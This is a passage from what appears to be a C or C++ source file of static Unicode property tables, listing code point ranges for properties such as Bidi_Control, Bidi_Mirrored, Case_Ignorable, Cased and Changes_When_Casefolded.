{0x20000, 0x2A6DF}, {0x2A700, 0x2B81D}, {0x2B820, 0x2CEAD}, {0x2CEB0, 0x2EBE0}, {0x2EBF0, 0x2EE5D}, {0x2F800, 0x2FA1D}, {0x30000, 0x3134A}, {0x31350, 0x33479}, {0xE0001, 0xE0001}, {0xE0020, 0xE007F}, {0xE0100, 0xE01EF}, {0xF0000, 0xFFFFD}, {0x100000, 0x10FFFD}, }; static const UnicodeRange kRanges_Bidi_Control[] = { {0x61C, 0x61C}, {0x200E, 0x200F}, {0x202A, 0x202E}, {0x2066, 0x2069}, }; static const UnicodeRange kRanges_Bidi_Mirrored[] = { {0x28, 0x29}, {0x3C, 0x3C}, {0x3E, 0x3E}, {0x5B, 0x5B}, {0x5D, 0x5D}, {0x7B, 0x7B}, {0x7D, 0x7D}, {0xAB, 0xAB}, {0xBB, 0xBB}, {0xF3A, 0xF3D}, {0x169B, 0x169C}, {0x2039, 0x203A}, {0x2045, 0x2046}, {0x207D, 0x207E}, {0x208D, 0x208E}, {0x2140, 0x2140}, {0x2201, 0x2204}, {0x2208, 0x220D}, {0x2211, 0x2211}, {0x2215, 0x2216}, {0x221A, 0x221D}, {0x221F, 0x2222}, {0x2224, 0x2224}, {0x2226, 0x2226}, {0x222B, 0x2233}, {0x2239, 0x2239}, {0x223B, 0x224C}, {0x2252, 0x2255}, {0x225F, 0x2260}, {0x2262, 0x2262}, {0x2264, 0x226B}, {0x226D, 0x228C}, {0x228F, 0x2292}, {0x2298, 0x2298}, {0x22A2, 0x22A3}, {0x22A6, 0x22B8}, {0x22BE, 0x22BF}, {0x22C9, 0x22CD}, {0x22D0, 0x22D1}, {0x22D6, 0x22ED}, {0x22F0, 0x22FF}, {0x2308, 0x230B}, {0x2320, 0x2321}, {0x2329, 0x232A}, {0x2768, 0x2775}, {0x27C0, 0x27C0}, {0x27C3, 0x27C6}, {0x27C8, 0x27C9}, {0x27CB, 0x27CD}, {0x27D3, 0x27D6}, {0x27DC, 0x27DE}, {0x27E2, 0x27EF}, {0x2983, 0x2998}, {0x299B, 0x29A0}, {0x29A2, 0x29AF}, {0x29B8, 0x29B8}, {0x29C0, 0x29C5}, {0x29C9, 0x29C9}, {0x29CE, 0x29D2}, {0x29D4, 0x29D5}, {0x29D8, 0x29DC}, {0x29E1, 0x29E1}, {0x29E3, 0x29E5}, {0x29E8, 0x29E9}, {0x29F4, 0x29F9}, {0x29FC, 0x29FD}, {0x2A0A, 0x2A1C}, {0x2A1E, 0x2A21}, {0x2A24, 0x2A24}, {0x2A26, 0x2A26}, {0x2A29, 0x2A29}, {0x2A2B, 0x2A2E}, {0x2A34, 0x2A35}, {0x2A3C, 0x2A3E}, {0x2A57, 0x2A58}, {0x2A64, 0x2A65}, {0x2A6A, 0x2A6D}, {0x2A6F, 0x2A70}, {0x2A73, 0x2A74}, {0x2A79, 0x2AA3}, {0x2AA6, 0x2AAD}, {0x2AAF, 0x2AD6}, {0x2ADC, 0x2ADC}, {0x2ADE, 0x2ADE}, {0x2AE2, 0x2AE6}, {0x2AEC, 0x2AEE}, {0x2AF3, 0x2AF3}, {0x2AF7, 0x2AFB}, {0x2AFD, 0x2AFD}, {0x2BFE, 0x2BFE}, {0x2E02, 0x2E05}, {0x2E09, 0x2E0A}, {0x2E0C, 0x2E0D}, {0x2E1C, 0x2E1D}, {0x2E20, 0x2E29}, {0x2E55, 0x2E5C}, {0x3008, 0x3011}, {0x3014, 0x301B}, {0xFE59, 0xFE5E}, {0xFE64, 0xFE65}, {0xFF08, 0xFF09}, {0xFF1C, 0xFF1C}, {0xFF1E, 0xFF1E}, {0xFF3B, 0xFF3B}, {0xFF3D, 0xFF3D}, {0xFF5B, 0xFF5B}, {0xFF5D, 0xFF5D}, {0xFF5F, 0xFF60}, {0xFF62, 0xFF63}, {0x1D6DB, 0x1D6DB}, {0x1D715, 0x1D715}, {0x1D74F, 0x1D74F}, {0x1D789, 0x1D789}, {0x1D7C3, 0x1D7C3}, }; static const UnicodeRange kRanges_Case_Ignorable[] = { {0x27, 0x27}, {0x2E, 0x2E}, {0x3A, 0x3A}, {0x5E, 0x5E}, {0x60, 0x60}, {0xA8, 0xA8}, {0xAD, 0xAD}, {0xAF, 0xAF}, {0xB4, 0xB4}, {0xB7, 0xB8}, {0x2B0, 0x36F}, {0x374, 0x375}, {0x37A, 0x37A}, {0x384, 0x385}, {0x387, 0x387}, {0x483, 0x489}, {0x559, 0x559}, {0x55F, 0x55F}, {0x591, 0x5BD}, {0x5BF, 0x5BF}, {0x5C1, 0x5C2}, {0x5C4, 0x5C5}, {0x5C7, 0x5C7}, {0x5F4, 0x5F4}, {0x600, 0x605}, {0x610, 0x61A}, {0x61C, 0x61C}, {0x640, 0x640}, {0x64B, 0x65F}, {0x670, 0x670}, {0x6D6, 0x6DD}, {0x6DF, 0x6E8}, {0x6EA, 0x6ED}, {0x70F, 0x70F}, {0x711, 0x711}, {0x730, 0x74A}, {0x7A6, 0x7B0}, {0x7EB, 0x7F5}, {0x7FA, 0x7FA}, {0x7FD, 0x7FD}, {0x816, 0x82D}, {0x859, 0x85B}, {0x888, 0x888}, {0x890, 0x891}, {0x897, 0x89F}, {0x8C9, 0x902}, {0x93A, 0x93A}, {0x93C, 0x93C}, {0x941, 0x948}, {0x94D, 0x94D}, {0x951, 0x957}, {0x962, 0x963}, {0x971, 0x971}, {0x981, 0x981}, {0x9BC, 0x9BC}, {0x9C1, 0x9C4}, {0x9CD, 0x9CD}, {0x9E2, 0x9E3}, {0x9FE, 0x9FE}, {0xA01, 0xA02}, {0xA3C, 0xA3C}, {0xA41, 0xA42}, {0xA47, 0xA48}, {0xA4B, 0xA4D}, {0xA51, 0xA51}, {0xA70, 0xA71}, {0xA75, 0xA75}, {0xA81, 0xA82}, {0xABC, 0xABC}, {0xAC1, 0xAC5}, {0xAC7, 0xAC8}, {0xACD, 0xACD}, {0xAE2, 0xAE3}, {0xAFA, 0xAFF}, {0xB01, 0xB01}, {0xB3C, 0xB3C}, {0xB3F, 0xB3F}, {0xB41, 0xB44}, {0xB4D, 0xB4D}, {0xB55, 0xB56}, {0xB62, 0xB63}, {0xB82, 0xB82}, {0xBC0, 0xBC0}, {0xBCD, 0xBCD}, {0xC00, 0xC00}, {0xC04, 0xC04}, {0xC3C, 0xC3C}, {0xC3E, 0xC40}, {0xC46, 0xC48}, {0xC4A, 0xC4D}, {0xC55, 0xC56}, {0xC62, 0xC63}, {0xC81, 0xC81}, {0xCBC, 0xCBC}, {0xCBF, 0xCBF}, {0xCC6, 0xCC6}, {0xCCC, 0xCCD}, {0xCE2, 0xCE3}, {0xD00, 0xD01}, {0xD3B, 0xD3C}, {0xD41, 0xD44}, {0xD4D, 0xD4D}, {0xD62, 0xD63}, {0xD81, 0xD81}, {0xDCA, 0xDCA}, {0xDD2, 0xDD4}, {0xDD6, 0xDD6}, {0xE31, 0xE31}, {0xE34, 0xE3A}, {0xE46, 0xE4E}, {0xEB1, 0xEB1}, {0xEB4, 0xEBC}, {0xEC6, 0xEC6}, {0xEC8, 0xECE}, {0xF18, 0xF19}, {0xF35, 0xF35}, {0xF37, 0xF37}, {0xF39, 0xF39}, {0xF71, 0xF7E}, {0xF80, 0xF84}, {0xF86, 0xF87}, {0xF8D, 0xF97}, {0xF99, 0xFBC}, {0xFC6, 0xFC6}, {0x102D, 0x1030}, {0x1032, 0x1037}, {0x1039, 0x103A}, {0x103D, 0x103E}, {0x1058, 0x1059}, {0x105E, 0x1060}, {0x1071, 0x1074}, {0x1082, 0x1082}, {0x1085, 0x1086}, {0x108D, 0x108D}, {0x109D, 0x109D}, {0x10FC, 0x10FC}, {0x135D, 0x135F}, {0x1712, 0x1714}, {0x1732, 0x1733}, {0x1752, 0x1753}, {0x1772, 0x1773}, {0x17B4, 0x17B5}, {0x17B7, 0x17BD}, {0x17C6, 0x17C6}, {0x17C9, 0x17D3}, {0x17D7, 0x17D7}, {0x17DD, 0x17DD}, {0x180B, 0x180F}, {0x1843, 0x1843}, {0x1885, 0x1886}, {0x18A9, 0x18A9}, {0x1920, 0x1922}, {0x1927, 0x1928}, {0x1932, 0x1932}, {0x1939, 0x193B}, {0x1A17, 0x1A18}, {0x1A1B, 0x1A1B}, {0x1A56, 0x1A56}, {0x1A58, 0x1A5E}, {0x1A60, 0x1A60}, {0x1A62, 0x1A62}, {0x1A65, 0x1A6C}, {0x1A73, 0x1A7C}, {0x1A7F, 0x1A7F}, {0x1AA7, 0x1AA7}, {0x1AB0, 0x1ADD}, {0x1AE0, 0x1AEB}, {0x1B00, 0x1B03}, {0x1B34, 0x1B34}, {0x1B36, 0x1B3A}, {0x1B3C, 0x1B3C}, {0x1B42, 0x1B42}, {0x1B6B, 0x1B73}, {0x1B80, 0x1B81}, {0x1BA2, 0x1BA5}, {0x1BA8, 0x1BA9}, {0x1BAB, 0x1BAD}, {0x1BE6, 0x1BE6}, {0x1BE8, 0x1BE9}, {0x1BED, 0x1BED}, {0x1BEF, 0x1BF1}, {0x1C2C, 0x1C33}, {0x1C36, 0x1C37}, {0x1C78, 0x1C7D}, {0x1CD0, 0x1CD2}, {0x1CD4, 0x1CE0}, {0x1CE2, 0x1CE8}, {0x1CED, 0x1CED}, {0x1CF4, 0x1CF4}, {0x1CF8, 0x1CF9}, {0x1D2C, 0x1D6A}, {0x1D78, 0x1D78}, {0x1D9B, 0x1DFF}, {0x1FBD, 0x1FBD}, {0x1FBF, 0x1FC1}, {0x1FCD, 0x1FCF}, {0x1FDD, 0x1FDF}, {0x1FED, 0x1FEF}, {0x1FFD, 0x1FFE}, {0x200B, 0x200F}, {0x2018, 0x2019}, {0x2024, 0x2024}, {0x2027, 0x2027}, {0x202A, 0x202E}, {0x2060, 0x2064}, {0x2066, 0x206F}, {0x2071, 0x2071}, {0x207F, 0x207F}, {0x2090, 0x209C}, {0x20D0, 0x20F0}, {0x2C7C, 0x2C7D}, {0x2CEF, 0x2CF1}, {0x2D6F, 0x2D6F}, {0x2D7F, 0x2D7F}, {0x2DE0, 0x2DFF}, {0x2E2F, 0x2E2F}, {0x3005, 0x3005}, {0x302A, 0x302D}, {0x3031, 0x3035}, {0x303B, 0x303B}, {0x3099, 0x309E}, {0x30FC, 0x30FE}, {0xA015, 0xA015}, {0xA4F8, 0xA4FD}, {0xA60C, 0xA60C}, {0xA66F, 0xA672}, {0xA674, 0xA67D}, {0xA67F, 0xA67F}, {0xA69C, 0xA69F}, {0xA6F0, 0xA6F1}, {0xA700, 0xA721}, {0xA770, 0xA770}, {0xA788, 0xA78A}, {0xA7F1, 0xA7F4}, {0xA7F8, 0xA7F9}, {0xA802, 0xA802}, {0xA806, 0xA806}, {0xA80B, 0xA80B}, {0xA825, 0xA826}, {0xA82C, 0xA82C}, {0xA8C4, 0xA8C5}, {0xA8E0, 0xA8F1}, {0xA8FF, 0xA8FF}, {0xA926, 0xA92D}, {0xA947, 0xA951}, {0xA980, 0xA982}, {0xA9B3, 0xA9B3}, {0xA9B6, 0xA9B9}, {0xA9BC, 0xA9BD}, {0xA9CF, 0xA9CF}, {0xA9E5, 0xA9E6}, {0xAA29, 0xAA2E}, {0xAA31, 0xAA32}, {0xAA35, 0xAA36}, {0xAA43, 0xAA43}, {0xAA4C, 0xAA4C}, {0xAA70, 0xAA70}, {0xAA7C, 0xAA7C}, {0xAAB0, 0xAAB0}, {0xAAB2, 0xAAB4}, {0xAAB7, 0xAAB8}, {0xAABE, 0xAABF}, {0xAAC1, 0xAAC1}, {0xAADD, 0xAADD}, {0xAAEC, 0xAAED}, {0xAAF3, 0xAAF4}, {0xAAF6, 0xAAF6}, {0xAB5B, 0xAB5F}, {0xAB69, 0xAB6B}, {0xABE5, 0xABE5}, {0xABE8, 0xABE8}, {0xABED, 0xABED}, {0xFB1E, 0xFB1E}, {0xFBB2, 0xFBC2}, {0xFE00, 0xFE0F}, {0xFE13, 0xFE13}, {0xFE20, 0xFE2F}, {0xFE52, 0xFE52}, {0xFE55, 0xFE55}, {0xFEFF, 0xFEFF}, {0xFF07, 0xFF07}, {0xFF0E, 0xFF0E}, {0xFF1A, 0xFF1A}, {0xFF3E, 0xFF3E}, {0xFF40, 0xFF40}, {0xFF70, 0xFF70}, {0xFF9E, 0xFF9F}, {0xFFE3, 0xFFE3}, {0xFFF9, 0xFFFB}, {0x101FD, 0x101FD}, {0x102E0, 0x102E0}, {0x10376, 0x1037A}, {0x10780, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x10A01, 0x10A03}, {0x10A05, 0x10A06}, {0x10A0C, 0x10A0F}, {0x10A38, 0x10A3A}, {0x10A3F, 0x10A3F}, {0x10AE5, 0x10AE6}, {0x10D24, 0x10D27}, {0x10D4E, 0x10D4E}, {0x10D69, 0x10D6D}, {0x10D6F, 0x10D6F}, {0x10EAB, 0x10EAC}, {0x10EC5, 0x10EC5}, {0x10EFA, 0x10EFF}, {0x10F46, 0x10F50}, {0x10F82, 0x10F85}, {0x11001, 0x11001}, {0x11038, 0x11046}, {0x11070, 0x11070}, {0x11073, 0x11074}, {0x1107F, 0x11081}, {0x110B3, 0x110B6}, {0x110B9, 0x110BA}, {0x110BD, 0x110BD}, {0x110C2, 0x110C2}, {0x110CD, 0x110CD}, {0x11100, 0x11102}, {0x11127, 0x1112B}, {0x1112D, 0x11134}, {0x11173, 0x11173}, {0x11180, 0x11181}, {0x111B6, 0x111BE}, {0x111C9, 0x111CC}, {0x111CF, 0x111CF}, {0x1122F, 0x11231}, {0x11234, 0x11234}, {0x11236, 0x11237}, {0x1123E, 0x1123E}, {0x11241, 0x11241}, {0x112DF, 0x112DF}, {0x112E3, 0x112EA}, {0x11300, 0x11301}, {0x1133B, 0x1133C}, {0x11340, 0x11340}, {0x11366, 0x1136C}, {0x11370, 0x11374}, {0x113BB, 0x113C0}, {0x113CE, 0x113CE}, {0x113D0, 0x113D0}, {0x113D2, 0x113D2}, {0x113E1, 0x113E2}, {0x11438, 0x1143F}, {0x11442, 0x11444}, {0x11446, 0x11446}, {0x1145E, 0x1145E}, {0x114B3, 0x114B8}, {0x114BA, 0x114BA}, {0x114BF, 0x114C0}, {0x114C2, 0x114C3}, {0x115B2, 0x115B5}, {0x115BC, 0x115BD}, {0x115BF, 0x115C0}, {0x115DC, 0x115DD}, {0x11633, 0x1163A}, {0x1163D, 0x1163D}, {0x1163F, 0x11640}, {0x116AB, 0x116AB}, {0x116AD, 0x116AD}, {0x116B0, 0x116B5}, {0x116B7, 0x116B7}, {0x1171D, 0x1171D}, {0x1171F, 0x1171F}, {0x11722, 0x11725}, {0x11727, 0x1172B}, {0x1182F, 0x11837}, {0x11839, 0x1183A}, {0x1193B, 0x1193C}, {0x1193E, 0x1193E}, {0x11943, 0x11943}, {0x119D4, 0x119D7}, {0x119DA, 0x119DB}, {0x119E0, 0x119E0}, {0x11A01, 0x11A0A}, {0x11A33, 0x11A38}, {0x11A3B, 0x11A3E}, {0x11A47, 0x11A47}, {0x11A51, 0x11A56}, {0x11A59, 0x11A5B}, {0x11A8A, 0x11A96}, {0x11A98, 0x11A99}, {0x11B60, 0x11B60}, {0x11B62, 0x11B64}, {0x11B66, 0x11B66}, {0x11C30, 0x11C36}, {0x11C38, 0x11C3D}, {0x11C3F, 0x11C3F}, {0x11C92, 0x11CA7}, {0x11CAA, 0x11CB0}, {0x11CB2, 0x11CB3}, {0x11CB5, 0x11CB6}, {0x11D31, 0x11D36}, {0x11D3A, 0x11D3A}, {0x11D3C, 0x11D3D}, {0x11D3F, 0x11D45}, {0x11D47, 0x11D47}, {0x11D90, 0x11D91}, {0x11D95, 0x11D95}, {0x11D97, 0x11D97}, {0x11DD9, 0x11DD9}, {0x11EF3, 0x11EF4}, {0x11F00, 0x11F01}, {0x11F36, 0x11F3A}, {0x11F40, 0x11F40}, {0x11F42, 0x11F42}, {0x11F5A, 0x11F5A}, {0x13430, 0x13440}, {0x13447, 0x13455}, {0x1611E, 0x16129}, {0x1612D, 0x1612F}, {0x16AF0, 0x16AF4}, {0x16B30, 0x16B36}, {0x16B40, 0x16B43}, {0x16D40, 0x16D42}, {0x16D6B, 0x16D6C}, {0x16F4F, 0x16F4F}, {0x16F8F, 0x16F9F}, {0x16FE0, 0x16FE1}, {0x16FE3, 0x16FE4}, {0x16FF2, 0x16FF3}, {0x1AFF0, 0x1AFF3}, {0x1AFF5, 0x1AFFB}, {0x1AFFD, 0x1AFFE}, {0x1BC9D, 0x1BC9E}, {0x1BCA0, 0x1BCA3}, {0x1CF00, 0x1CF2D}, {0x1CF30, 0x1CF46}, {0x1D167, 0x1D169}, {0x1D173, 0x1D182}, {0x1D185, 0x1D18B}, {0x1D1AA, 0x1D1AD}, {0x1D242, 0x1D244}, {0x1DA00, 0x1DA36}, {0x1DA3B, 0x1DA6C}, {0x1DA75, 0x1DA75}, {0x1DA84, 0x1DA84}, {0x1DA9B, 0x1DA9F}, {0x1DAA1, 0x1DAAF}, {0x1E000, 0x1E006}, {0x1E008, 0x1E018}, {0x1E01B, 0x1E021}, {0x1E023, 0x1E024}, {0x1E026, 0x1E02A}, {0x1E030, 0x1E06D}, {0x1E08F, 0x1E08F}, {0x1E130, 0x1E13D}, {0x1E2AE, 0x1E2AE}, {0x1E2EC, 0x1E2EF}, {0x1E4EB, 0x1E4EF}, {0x1E5EE, 0x1E5EF}, {0x1E6E3, 0x1E6E3}, {0x1E6E6, 0x1E6E6}, {0x1E6EE, 0x1E6EF}, {0x1E6F5, 0x1E6F5}, {0x1E6FF, 0x1E6FF}, {0x1E8D0, 0x1E8D6}, {0x1E944, 0x1E94B}, {0x1F3FB, 0x1F3FF}, {0xE0001, 0xE0001}, {0xE0020, 0xE007F}, {0xE0100, 0xE01EF}, }; static const UnicodeRange kRanges_Cased[] = { {0x41, 0x5A}, {0x61, 0x7A}, {0xAA, 0xAA}, {0xB5, 0xB5}, {0xBA, 0xBA}, {0xC0, 0xD6}, {0xD8, 0xF6}, {0xF8, 0x1BA}, {0x1BC, 0x1BF}, {0x1C4, 0x293}, {0x296, 0x2B8}, {0x2C0, 0x2C1}, {0x2E0, 0x2E4}, {0x345, 0x345}, {0x370, 0x373}, {0x376, 0x377}, {0x37A, 0x37D}, {0x37F, 0x37F}, {0x386, 0x386}, {0x388, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x3A1}, {0x3A3, 0x3F5}, {0x3F7, 0x481}, {0x48A, 0x52F}, {0x531, 0x556}, {0x560, 0x588}, {0x10A0, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x10D0, 0x10FA}, {0x10FC, 0x10FF}, {0x13A0, 0x13F5}, {0x13F8, 0x13FD}, {0x1C80, 0x1C8A}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CBF}, {0x1D00, 0x1DBF}, {0x1E00, 0x1F15}, {0x1F18, 0x1F1D}, {0x1F20, 0x1F45}, {0x1F48, 0x1F4D}, {0x1F50, 0x1F57}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F7D}, {0x1F80, 0x1FB4}, {0x1FB6, 0x1FBC}, {0x1FBE, 0x1FBE}, {0x1FC2, 0x1FC4}, {0x1FC6, 0x1FCC}, {0x1FD0, 0x1FD3}, {0x1FD6, 0x1FDB}, {0x1FE0, 0x1FEC}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FFC}, {0x2071, 0x2071}, {0x207F, 0x207F}, {0x2090, 0x209C}, {0x2102, 0x2102}, {0x2107, 0x2107}, {0x210A, 0x2113}, {0x2115, 0x2115}, {0x2119, 0x211D}, {0x2124, 0x2124}, {0x2126, 0x2126}, {0x2128, 0x2128}, {0x212A, 0x212D}, {0x212F, 0x2134}, {0x2139, 0x2139}, {0x213C, 0x213F}, {0x2145, 0x2149}, {0x214E, 0x214E}, {0x2160, 0x217F}, {0x2183, 0x2184}, {0x24B6, 0x24E9}, {0x2C00, 0x2CE4}, {0x2CEB, 0x2CEE}, {0x2CF2, 0x2CF3}, {0x2D00, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0xA640, 0xA66D}, {0xA680, 0xA69D}, {0xA722, 0xA787}, {0xA78B, 0xA78E}, {0xA790, 0xA7DC}, {0xA7F1, 0xA7F6}, {0xA7F8, 0xA7FA}, {0xAB30, 0xAB5A}, {0xAB5C, 0xAB69}, {0xAB70, 0xABBF}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFF21, 0xFF3A}, {0xFF41, 0xFF5A}, {0x10400, 0x1044F}, {0x104B0, 0x104D3}, {0x104D8, 0x104FB}, {0x10570, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, {0x10780, 0x10780}, {0x10783, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x10C80, 0x10CB2}, {0x10CC0, 0x10CF2}, {0x10D50, 0x10D65}, {0x10D70, 0x10D85}, {0x118A0, 0x118DF}, {0x16E40, 0x16E7F}, {0x16EA0, 0x16EB8}, {0x16EBB, 0x16ED3}, {0x1D400, 0x1D454}, {0x1D456, 0x1D49C}, {0x1D49E, 0x1D49F}, {0x1D4A2, 0x1D4A2}, {0x1D4A5, 0x1D4A6}, {0x1D4A9, 0x1D4AC}, {0x1D4AE, 0x1D4B9}, {0x1D4BB, 0x1D4BB}, {0x1D4BD, 0x1D4C3}, {0x1D4C5, 0x1D505}, {0x1D507, 0x1D50A}, {0x1D50D, 0x1D514}, {0x1D516, 0x1D51C}, {0x1D51E, 0x1D539}, {0x1D53B, 0x1D53E}, {0x1D540, 0x1D544}, {0x1D546, 0x1D546}, {0x1D54A, 0x1D550}, {0x1D552, 0x1D6A5}, {0x1D6A8, 0x1D6C0}, {0x1D6C2, 0x1D6DA}, {0x1D6DC, 0x1D6FA}, {0x1D6FC, 0x1D714}, {0x1D716, 0x1D734}, {0x1D736, 0x1D74E}, {0x1D750, 0x1D76E}, {0x1D770, 0x1D788}, {0x1D78A, 0x1D7A8}, {0x1D7AA, 0x1D7C2}, {0x1D7C4, 0x1D7CB}, {0x1DF00, 0x1DF09}, {0x1DF0B, 0x1DF1E}, {0x1DF25, 0x1DF2A}, {0x1E030, 0x1E06D}, {0x1E900, 0x1E943}, {0x1F130, 0x1F149}, {0x1F150, 0x1F169}, {0x1F170, 0x1F189}, }; static const UnicodeRange kRanges_Changes_When_Casefolded[] = { {0x41, 0x5A}, {0xB5, 0xB5}, {0xC0, 0xD6}, {0xD8, 0xDF}, {0x100, 0x100}, {0x102, 0x102}, {0x104, 0x104}, {0x106, 0x106}, {0x108, 0x108}, {0x10A, 0x10A}, {0x10C, 0x10C}, {0x10E, 0x10E}, {0x110, 0x110}, {0x112, 0x112}, {0x114, 0x114}, {0x116, 0x116}, {0x118, 0x118}, {0x11A, 0x11A}, {0x11C, 0x11C}, {0x11E, 0x11E}, {0x120, 0x120}, {0x122, 0x122}, {0x124, 0x124}, {0x126, 0x126}, {0x128, 0x128}, {0x12A, 0x12A}, {0x12C, 0x12C}, {0x12E, 0x12E}, {0x130, 0x130}, {0x132, 0x132}, {0x134, 0x134}, {0x136, 0x136}, {0x139, 0x139}, {0x13B, 0x13B}, {0x13D, 0x13D}, {0x13F, 0x13F}, {0x141, 0x141}, {0x143, 0x143}, {0x145, 0x145}, {0x147, 0x147}, {0x149, 0x14A}, {0x14C, 0x14C}, {0x14E, 0x14E}, {0x150, 0x150}, {0x152, 0x152}, {0x154, 0x154}, {0x156, 0x156}, {0x158, 0x158}, {0x15A, 0x15A}, {0x15C, 0x15C}, {0x15E, 0x15E}, {0x160, 0x160}, {0x162, 0x162}, {0x164, 0x164}, {0x166, 0x166}, {0x168, 0x168}, {0x16A, 0x16A}, {0x16C, 0x16C}, {0x16E, 0x16E}, {0x170, 0x170}, {0x172, 0x172}, {0x174, 0x174}, {0x176, 0x176}, {0x178, 0x179}, {0x17B, 0x17B}, {0x17D, 0x17D}, {0x17F, 0x17F}, {0x181, 0x182}, {0x184, 0x184}, {0x186, 0x187}, {0x189, 0x18B}, {0x18E, 0x191}, {0x193, 0x194}, {0x196, 0x198}, {0x19C, 0x19D}, {0x19F, 0x1A0}, {0x1A2, 0x1A2}, {0x1A4, 0x1A4}, {0x1A6, 0x1A7}, {0x1A9, 0x1A9}, {0x1AC, 0x1AC}, {0x1AE, 0x1AF}, {0x1B1, 0x1B3}, {0x1B5, 0x1B5}, {0x1B7, 0x1B8}, {0x1BC, 0x1BC}, {0x1C4, 0x1C5}, {0x1C7, 0x1C8}, {0x1CA, 0x1CB}, {0x1CD, 0x1CD}, {0x1CF, 0x1CF}, {0x1D1, 0x1D1}, {0x1D3, 0x1D3}, {0x1D5, 0x1D5}, {0x1D7, 0x1D7}, {0x1D9, 0x1D9}, {0x1DB, 0x1DB}, {0x1DE, 0x1DE}, {0x1E0, 0x1E0}, {0x1E2, 0x1E2}, {0x1E4, 0x1E4}, {0x1E6, 0x1E6}, {0x1E8, 0x1E8}, {0x1EA, 0x1EA}, {0x1EC, 0x1EC}, {0x1EE, 0x1EE}, {0x1F1, 0x1F2}, {0x1F4, 0x1F4}, {0x1F6, 0x1F8}, {0x1FA, 0x1FA}, {0x1FC, 0x1FC}, {0x1FE, 0x1FE}, {0x200, 0x200}, {0x202, 0x202}, {0x204, 0x204}, {0x206, 0x206}, {0x208, 0x208}, {0x20A, 0x20A}, {0x20C, 0x20C}, {0x20E, 0x20E}, {0x210, 0x210}, {0x212, 0x212}, {0x214, 0x214}, {0x216, 0x216}, {0x218, 0x218}, {0x21A, 0x21A}, {0x21C, 0x21C}, {0x21E, 0x21E}, {0x220, 0x220}, {0x222, 0x222}, {0x224, 0x224}, {0x226, 0x226}, {0x228, 0x228}, {0x22A, 0x22A}, {0x22C, 0x22C}, {0x22E, 0x22E}, {0x230, 0x230}, {0x232, 0x232}, {0x23A, 0x23B}, {0x23D, 0x23E}, {0x241, 0x241}, {0x243, 0x246}, {0x248, 0x248}, {0x24A, 0x24A}, {0x24C, 0x24C}, {0x24E, 0x24E}, {0x345, 0x345}, {0x370, 0x370}, {0x372, 0x372}, {0x376, 0x376}, {0x37F, 0x37F}, {0x386, 0x386}, {0x388, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x38F}, {0x391, 0x3A1}, {0x3A3, 0x3AB}, {0x3C2, 0x3C2}, {0x3CF, 0x3D1}, {0x3D5, 0x3D6}, {0x3D8, 0x3D8}, {0x3DA, 0x3DA}, {0x3DC, 0x3DC}, {0x3DE, 0x3DE}, {0x3E0, 0x3E0}, {0x3E2, 0x3E2}, {0x3E4, 0x3E4}, {0x3E6, 0x3E6}, {0x3E8, 0x3E8}, {0x3EA, 0x3EA}, {0x3EC, 0x3EC}, {0x3EE, 0x3EE}, {0x3F0, 0x3F1}, {0x3F4, 0x3F5}, {0x3F7, 0x3F7}, {0x3F9, 0x3FA}, {0x3FD, 0x42F}, {0x460, 0x460}, {0x462, 0x462}, {0x464, 0x464}, {0x466, 0x466}, {0x468, 0x468}, {0x46A, 0x46A}, {0x46C, 0x46C}, {0x46E, 0x46E}, {0x470, 0x470}, {0x472, 0x472}, {0x474, 0x474}, {0x476, 0x476}, {0x478, 0x478}, {0x47A, 0x47A}, {0x47C, 0x47C}, {0x47E, 0x47E}, {0x480, 0x480}, {0x48A, 0x48A}, {0x48C, 0x48C}, {0x48E, 0x48E}, {0x490, 0x490}, {0x492, 0x492}, {0x494, 0x494}, {0x496, 0x496}, {0x498, 0x498}, {0x49A, 0x49A}, {0x49C, 0x49C}, {0x49E, 0x49E}, {0x4A0, 0x4A0}, {0x4A2, 0x4A2}, {0x4A4, 0x4A4}, {0x4A6, 0x4A6}, {0x4A8, 0x4A8}, {0x4AA, 0x4AA}, {0x4AC, 0x4AC}, {0x4AE, 0x4AE}, {0x4B0, 0x4B0}, {0x4B2, 0x4B2}, {0x4B4, 0x4B4}, {0x4B6, 0x4B6}, {0x4B8, 0x4B8}, {0x4BA, 0x4BA}, {0x4BC, 0x4BC}, {0x4BE, 0x4BE}, {0x4C0, 0x4C1}, {0x4C3, 0x4C3}, {0x4C5, 0x4C5}, {0x4C7, 0x4C7}, {0x4C9, 0x4C9}, {0x4CB, 0x4CB}, {0x4CD, 0x4CD}, {0x4D0, 0x4D0}, {0x4D2, 0x4D2}, {0x4D4, 0x4D4}, {0x4D6, 0x4D6}, {0x4D8, 0x4D8}, {0x4DA, 0x4DA}, {0x4DC, 0x4DC}, {0x4DE, 0x4DE}, {0x4E0, 0x4E0}, {0x4E2, 0x4E2}, {0x4E4, 0x4E4}, {0x4E6, 0x4E6}, {0x4E8, 0x4E8}, {0x4EA, 0x4EA}, {0x4EC, 0x4EC}, {0x4EE, 0x4EE}, {0x4F0, 0x4F0}, {0x4F2, 0x4F2}, {0x4F4, 0x4F4}, {0x4F6, 0x4F6}, {0x4F8, 0x4F8}, {0x4FA, 0x4FA}, {0x4FC, 0x4FC}, {0x4FE, 0x4FE}, {0x500, 0x500}, {0x502, 0x502}, {0x504, 0x504}, {0x506, 0x506}, {0x508, 0x508}, {0x50A, 0x50A}, {0x50C, 0x50C}, {0x50E, 0x50E}, {0x510, 0x510}, {0x512, 0x512}, {0x514, 0x514}, {0x516, 0x516}, {0x518, 0x518}, {0x51A, 0x51A}, {0x51C, 0x51C}, {0x51E, 0x51E}, {0x520, 0x520}, {0x522, 0x522}, {0x524, 0x524}, {0x526, 0x526}, {0x528, 0x528}, {0x52A, 0x52A}, {0x52C, 0x52C}, {0x52E, 0x52E}, {0x531, 0x556}, {0x587, 0x587}, 